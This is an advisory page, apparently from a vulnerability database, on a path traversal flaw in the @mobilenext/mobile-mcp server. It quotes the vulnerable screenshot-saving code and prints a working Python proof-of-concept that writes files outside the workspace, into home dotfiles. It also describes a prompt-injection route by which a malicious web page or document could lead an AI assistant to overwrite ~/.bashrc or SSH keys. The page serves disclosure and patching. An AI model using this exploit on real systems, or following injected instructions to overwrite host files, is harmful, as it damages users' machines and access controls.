Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.
Details
File: src/server.ts (lines 584-592)
tool(
"mobile_save_screenshot",
"Save Screenshot",
"Save a screenshot of the mobile device to a file",
{
device: z.string().describe("The device identifier..."),
saveTo: z.string().describe("The path to save the screenshot to"),
},
{ destructiveHint: true },
async ({ device, saveTo }) => {
const robot = getRobotFromDevice(device);
const screenshot = await robot.getScreenshot();
fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
return `Screenshot saved to: ${saveTo}`;
},
);Root Cause
The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.
Additional Affected Tool
File: src/server.ts (lines 597-620)
The mobile_start_screen_recording tool has the same vulnerability in its output parameter.
PoC
#!/usr/bin/env python3
import json
import os
import subprocess
import sys
import time
from datetime import datetime
SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5
def log(level, msg):
print(f"[{level.upper()}] {msg}")
def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
"""Send JSON-RPC message and receive response."""
try:
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
time.sleep(timeout)
line = proc.stdout.readline()
return json.loads(line) if line else None
except Exception as e:
log("error", f"Communication error: {e}")
return None
def send_notification(proc, method, params=None):
"""Send JSON-RPC notification (no response expected)."""
msg = {"jsonrpc": "2.0", "method": method}
if params:
msg["params"] = params
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
def start_server():
"""Start the mobile-mcp server."""
log("info", "Starting mobile-mcp server...")
try:
proc = subprocess.Popen(
SERVER_CMD,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
time.sleep(STARTUP_DELAY)
if proc.poll() is not None:
stderr = proc.stderr.read()
log("error", f"Server failed to start: {stderr[:200]}")
return None
log("info", f"Server started (PID: {proc.pid})")
return proc
except FileNotFoundError:
log("error", "npx not found. Please install Node.js")
return None
def initialize_session(proc):
"""Initialize MCP session with handshake."""
log("info", "Initializing MCP session...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
},
},
)
if not resp or "error" in resp:
log("error", f"Initialize failed: {resp}")
return False
send_notification(proc, "notifications/initialized")
time.sleep(0.5)
server_info = resp.get("result", {}).get("serverInfo", {})
log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
return True
def get_devices(proc):
"""Get list of connected devices."""
log("info", "Enumerating connected devices...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": "mobile_list_available_devices", "arguments": {}},
},
)
if resp:
content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
try:
devices = json.loads(content).get("devices", [])
return devices
except:
log("warning", f"Could not parse device list: {content[:100]}")
return []
def exploit_path_traversal(proc, device_id, target_path):
"""Execute path traversal exploit."""
log("info", f"Target path: {target_path}")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 100,
"method": "tools/call",
"params": {
"name": "mobile_save_screenshot",
"arguments": {"device": device_id, "saveTo": target_path},
},
},
timeout=2,
)
if resp:
content = resp.get("result", {}).get("content", [{}])
if isinstance(content, list) and content:
text = content[0].get("text", "")
log("info", f"Server response: {text[:100]}")
check_path = target_path
if target_path.startswith(".."):
check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))
if os.path.exists(check_path):
size = os.path.getsize(check_path)
log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
return True, check_path, size
elif "Screenshot saved" in text:
log("info", f"Server confirmed write (file may be at relative path)")
return True, target_path, 0
log("warning", "Exploit may have failed or file not accessible")
return False, target_path, 0
def main():
device_id = sys.argv[1] if len(sys.argv) > 1 else None
proc = start_server()
if not proc:
sys.exit(1)
try:
if not initialize_session(proc):
sys.exit(1)
if not device_id:
devices = get_devices(proc)
if devices:
log("info", f"Found {len(devices)} device(s):")
for d in devices:
print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
device_id = devices[0].get("id")
log("info", f"Using device: {device_id}")
else:
log("error", "No devices found. Please connect a device and try again.")
log("info", "Usage: python3 exploit.py <device_id>")
sys.exit(1)
home = os.path.expanduser("~")
exploits = [
"../../exploit_2_traversal.png",
f"{home}/exploit.png",
f"{home}/.poc_dotfile",
]
results = []
for target in exploits:
success, path, size = exploit_path_traversal(proc, device_id, target)
results.append((target, success, path, size))
finally:
proc.terminate()
log("info", "Server terminated.")
if __name__ == "__main__":
main()Impact
A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.
AnalysisAI
Path traversal in @mobilenext/mobile-mcp npm package allows remote attackers to write arbitrary files on the host system through unvalidated file path parameters. The mobile_save_screenshot and mobile_start_screen_recording tools accept user-controlled saveTo and output parameters that are passed directly to Node.js filesystem operations without sanitization, enabling attackers to overwrite critical system files (e.g., ~/.bashrc, ~/.ssh/authorized_keys) via prompt injection attacks. Affects versions prior to 0.0.49. Publicly available exploit code exists (functional Python PoC provided in disclosure). EPSS data not available, but the combination of network attack vector, low complexity (CVSS AC:L), and weaponized exploit code warrants immediate patching for systems running this MCP server.
Technical ContextAI
This vulnerability affects the Model Context Protocol (MCP) server implementation in the @mobilenext/mobile-mcp Node.js package (pkg:npm/@mobilenext_mobile-mcp), which provides mobile device automation capabilities to AI assistants. The flaw is a classic CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) vulnerability where user-supplied file paths in the saveTo and output parameters are passed directly to fs.writeFileSync() without validation. The codebase implements validation functions for other parameters (validatePackageName, validateLocale) but critically lacks any path sanitization function. This allows directory traversal sequences (../) or absolute paths to bypass intended workspace restrictions. The vulnerability exists in src/server.ts at lines 584-592 (mobile_save_screenshot tool) and 597-620 (mobile_start_screen_recording tool), where screenshot data and screen recordings are written to attacker-controlled file paths. The MCP server architecture exposes these tools via JSON-RPC interface, creating a remote attack surface when the server processes requests from potentially compromised AI contexts.
RemediationAI
Upgrade to @mobilenext/mobile-mcp version 0.0.49 or later, which implements path validation to prevent directory traversal attacks. The fix is available via npm standard update procedures (npm update @mobilenext/mobile-mcp or npm install @mobilenext/mobile-mcp@latest). The vendor-released patch is documented in commit f5e32295903128c1e71cf915ae6c0b76c7b0153b (https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b) and formally released in version 0.0.49 (https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49). As a temporary workaround until patching is complete, restrict the MCP server to trusted input sources only, implement network-level access controls to limit JSON-RPC interface exposure, and consider running the server in a sandboxed environment with restricted filesystem permissions. Monitor for unusual file write operations to sensitive directories (~/.ssh, ~/.config, shell rc files) as potential indicators of exploitation attempts. Review AI prompt chains and context sources to identify potential prompt injection vectors that could trigger this vulnerability.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-16882
GHSA-3p2m-h2v6-g9mx